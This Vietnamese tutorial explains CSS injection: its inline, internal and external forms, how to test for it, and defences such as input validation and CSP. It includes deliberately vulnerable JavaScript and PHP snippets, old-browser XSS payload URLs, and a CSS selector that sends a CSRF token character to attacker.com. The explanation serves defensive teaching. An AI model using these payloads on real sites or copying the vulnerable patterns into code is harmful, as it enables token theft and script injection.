CSS Injection là một kỹ thuật tấn công phổ biến trong lĩnh vực bảo mật web. Nó cho phép tin tặc chèn mã CSS độc hại hoặc độc quyền vào một trang web mà người dùng cuối không có quyền can thiệp. Kỹ thuật này khai thác các điểm yếu trong việc xử lý và áp dụng CSS trên trang web.
CSS (Cascading Style Sheets) là một ngôn ngữ định dạng để định rõ cách trang web hiển thị và trình bày. Nó được sử dụng để xác định kiểu dáng, màu sắc, bố cục và các thuộc tính khác của các phần tử trên trang web.
Khi xảy ra CSS Injection, tin tặc thường chèn các đoạn mã CSS bằng cách tận dụng các điểm yếu trong ứng dụng web. Khi trình duyệt web tải và hiển thị trang web đó, các đoạn mã CSS độc hại sẽ được thực thi và có thể gây ra các vấn đề bảo mật hoặc thay đổi giao diện của trang web một cách không mong muốn.
Một số tác động tiềm năng của CSS Injection bao gồm:
- Đánh cắp thông tin: Tin tặc có thể sử dụng CSS Injection để đánh cắp thông tin nhạy cảm từ người dùng, chẳng hạn như tên người dùng, mật khẩu hoặc thông tin tài khoản.
- Thực hiện tấn công XSS (Cross-Site Scripting): CSS Injection có thể được sử dụng như một phần của tấn công XSS để chèn mã JavaScript độc hại vào trang web và tấn công người dùng cuối.
- Sửa đổi giao diện: Tin tặc có thể sử dụng CSS Injection để thay đổi giao diện của trang web, gây ra sự khó chịu cho người dùng hoặc thực hiện các hành động không mong muốn.
Để ngăn chặn CSS Injection, các nhà phát triển web cần kiểm tra và xác thực đầu vào từ người dùng, áp dụng các biện pháp bảo mật, và cập nhật thường xuyên các khả năng chống lại các cuộc tấn công CSS Injection.
Xem thêm Tìm hiểu về CSV Injection
Các loại CSS Injection
Có ba loại chính của CSS Injection là Inline CSS Injection, Internal CSS Injection, và External CSS Injection. Dưới đây là mô tả chi tiết về từng loại:
- Inline CSS Injection:
- Inline CSS Injection xảy ra khi mã CSS độc hại được chèn trực tiếp vào phần tử HTML thông qua thuộc tính style.
- Điều này cho phép tin tặc thực thi mã CSS độc hại trực tiếp trên trang web.
- Inline CSS Injection có thể dẫn đến sự thay đổi giao diện trang web, ảnh hưởng đến các phần tử khác, hoặc thậm chí thực hiện các cuộc tấn công khác như Cross-Site Scripting (XSS).
- Internal CSS Injection:
- Internal CSS Injection xảy ra khi tin tặc chèn mã CSS độc hại vào phần đầu của trang web thông qua thẻ style.
- Mã CSS độc hại được đặt bên trong trang web, thường trong thẻ head, và ảnh hưởng đến toàn bộ trang web.
- Internal CSS Injection có thể thay đổi giao diện, tùy chỉnh kiểu dáng và hiển thị của các phần tử trên trang web.
- External CSS Injection:
- External CSS Injection xảy ra khi tin tặc chèn liên kết đến một tệp CSS độc hại từ một nguồn bên ngoài.
- Tệp CSS độc hại có thể được chèn từ một tệp tin hoặc URL được kiểm soát bởi tin tặc.
- Khi trình duyệt tải và áp dụng tệp CSS độc hại, nó có thể thay đổi giao diện và kiểu dáng của trang web, thậm chí thực hiện các hành động không mong muốn.
- External CSS Injection thường được sử dụng để tấn công trang web đã cho phép người dùng tùy chỉnh giao diện thông qua CSS.
Cả ba loại CSS Injection này có thể gây ra các vấn đề bảo mật nghiêm trọng cho trang web, vì vậy việc kiểm tra và xác thực đầu vào, kiểm soát tài nguyên CSS, và thực hiện các biện pháp phòng chống là rất quan trọng để ngăn chặn các cuộc tấn công CSS Injection.
Xem thêm Kiểm tra bảo mật website – Injection pentest
Cách kiểm tra CSS injection
Lỗ hổng CSS Injection liên quan đến khả năng đưa mã CSS tùy ý vào ngữ cảnh của một trang web đáng tin cậy được hiển thị bên trong trình duyệt của nạn nhân. Tác động của loại lỗ hổng bảo mật này khác nhau dựa trên trọng tải CSS được cung cấp. Nó có thể dẫn đến kịch bản trang web chéo hoặc lọc dữ liệu.
Lỗ hổng này xảy ra khi ứng dụng cho phép CSS do người dùng cung cấp can thiệp vào các biểu định kiểu hợp pháp của ứng dụng. Chèn mã trong ngữ cảnh CSS có thể cung cấp cho kẻ tấn công khả năng thực thi JavaScript trong một số điều kiện nhất định hoặc trích xuất các giá trị nhạy cảm bằng cách sử dụng các bộ chọn CSS và các hàm có thể tạo các yêu cầu HTTP. Nói chung, việc cho phép người dùng tùy chỉnh các trang bằng cách cung cấp các tệp CSS tùy chỉnh là một rủi ro đáng kể.
Các bài viết liên quan:
Đoạn mã JavaScript sau đây cho thấy một tập lệnh có thể dễ bị tấn công, trong đó kẻ tấn công có thể kiểm soát location.hash (nguồn) đến hàm cssText (chìm). Trường hợp cụ thể này có thể dẫn đến XSS dựa trên DOM trong các phiên bản trình duyệt cũ hơn; để biết thêm thông tin, hãy xem Trang tính ngăn chặn XSS dựa trên DOM.
<a id="a1">Click me</a> <script> if (location.hash.slice(1)) { document.getElementById("a1").style.cssText = "color: " + location.hash.slice(1); } </script>
Kẻ tấn công có thể nhắm mục tiêu nạn nhân bằng cách yêu cầu họ truy cập các URL sau:
- www.victim.com/#red;-o-link:'<javascript:alert(1)>’;-o-link-source:current; (Opera [8,12])
- www.victim.com/#red;-:expression(alert(URL=1)); (IE 7/8)
Lỗ hổng tương tự có thể xuất hiện trong trường hợp XSS được phản ánh, chẳng hạn như trong mã PHP sau:
<style> p { color: <?php echo $_GET['color']; ?>; text-align: center; } </style>
Các tình huống tấn công khác liên quan đến khả năng trích xuất dữ liệu thông qua việc áp dụng các quy tắc CSS thuần túy. Các cuộc tấn công như vậy có thể được thực hiện thông qua các bộ chọn CSS, dẫn đến việc lọc dữ liệu, ví dụ như mã thông báo CSRF.
Đây là một ví dụ về mã cố gắng chọn đầu vào có tên khớp với csrf_token và giá trị bắt đầu bằng a. Bằng cách sử dụng cuộc tấn công brute-force để xác định giá trị của thuộc tính, có thể thực hiện một cuộc tấn công gửi giá trị đến miền của kẻ tấn công, chẳng hạn như bằng cách cố gắng đặt hình nền trên phần tử đầu vào đã chọn.
<style> input[name=csrf_token][value=^a] { background-image: url(https://attacker.com/log?a); } </style>
Các cuộc tấn công khác sử dụng nội dung gạ gẫm như CSS được nêu bật trong bài nói chuyện của Mario Heiderich, “Got Your Nose” trên YouTube.
Mục tiêu kiểm tra
Xác định các điểm chèn CSS.
Đánh giá tác động của việc tiêm.
Làm thế nào để kiểm tra
Mã phải được phân tích để xác định xem người dùng có được phép đưa nội dung vào ngữ cảnh CSS hay không. Đặc biệt, cách thức trang web trả về các quy tắc CSS trên cơ sở các đầu vào cần được kiểm tra.
Sau đây là một ví dụ cơ bản:
<a id="a1">Click me</a> <b>Hi</b> <script> $("a").click(function(){ $("b").attr("style","color: " + location.hash.slice(1)); }); </script>
Đoạn mã trên chứa một địa chỉ mã nguồn (source location.hash), do kẻ tấn công kiểm soát, có thể đưa trực tiếp thuộc tính style của một phần tử HTML vào. Như đã đề cập ở trên, điều này có thể dẫn đến các kết quả khác nhau tùy thuộc vào trình duyệt đang sử dụng và tải trọng được cung cấp.
Các trang sau cung cấp các ví dụ về lỗ hổng chèn CSS:
- Mật khẩu “cracker” qua CSS và HTML5
- Đọc thuộc tính CSS
- Các cuộc tấn công dựa trên JavaScript bằng cách sử dụng CSS Style
Để biết thêm các tài nguyên OWASP về cách ngăn chặn đưa vào CSS, hãy xem phần Bảo mật Trang tính gian lận kiểu xếp tầng.
Xem thêm SQL injection attack là gì?
Rủi ro và cách phòng chống CSS Injection
CSS Injection có thể gây ra nhiều rủi ro bảo mật cho trang web. Dưới đây là một số rủi ro thường gặp và các biện pháp phòng chống để ngăn chặn CSS Injection:
- Rủi ro của CSS Injection:
- Đánh cắp thông tin: Tin tặc có thể sử dụng CSS Injection để đánh cắp thông tin nhạy cảm từ người dùng, như tên người dùng, mật khẩu hoặc thông tin tài khoản.
- Thực hiện tấn công XSS: CSS Injection có thể được sử dụng như một phần của tấn công Cross-Site Scripting (XSS), cho phép tin tặc chèn mã JavaScript độc hại vào trang web và tấn công người dùng cuối.
- Sửa đổi giao diện: Tin tặc có thể thay đổi giao diện của trang web bằng cách chèn mã CSS độc hại, gây khó chịu hoặc thực hiện các hành động không mong muốn trên trang web.
- Cách phòng chống CSS Injection:
- Kiểm tra và xác thực đầu vào: Đảm bảo rằng tất cả đầu vào từ người dùng đều được kiểm tra và xác thực đúng cách trước khi sử dụng trong mã CSS. Hạn chế việc chấp nhận đầu vào không an toàn hoặc không đáng tin cậy.
- Áp dụng chính sách Content Security Policy (CSP): CSP là một cơ chế bảo mật trong trình duyệt web cho phép người phát triển xác định các nguồn tài nguyên được tin cậy để tải và thực thi trên trang web. Nó có thể giới hạn nguồn tải tệp CSS và ngăn chặn CSS Injection.
- Kiểm soát tài nguyên CSS: Hạn chế quyền truy cập và sử dụng các tài nguyên CSS chỉ từ các nguồn đáng tin cậy. Tránh chấp nhận và thực thi các tệp CSS không xác định hoặc không được kiểm soát.
- Cập nhật hệ thống và framework: Đảm bảo rằng trang web, hệ điều hành, framework và thư viện được sử dụng đều được cập nhật lên phiên bản mới nhất. Các phiên bản cũ có thể có lỗ hổng bảo mật đã biết và dễ bị tấn công.
- Quản lý mã nguồn mở: Nếu sử dụng các thư viện hoặc mã nguồn mở, đảm bảo kiểm tra và cập nhật thường xuyên để loại bỏ các lỗi bảo mật đã được khắc phục.
Các biện pháp phòng chống trên có thể giúp giảm thiểu nguy cơ CSS Injection và tăng cường bảo mật cho trang web. Tuy nhiên, quan trọng nhất là áp dụng các tiêu chuẩn bảo mật tốt và thực hiện kiểm tra bảo mật đầy đủ để đảm bảo an toàn cho ứng dụng web.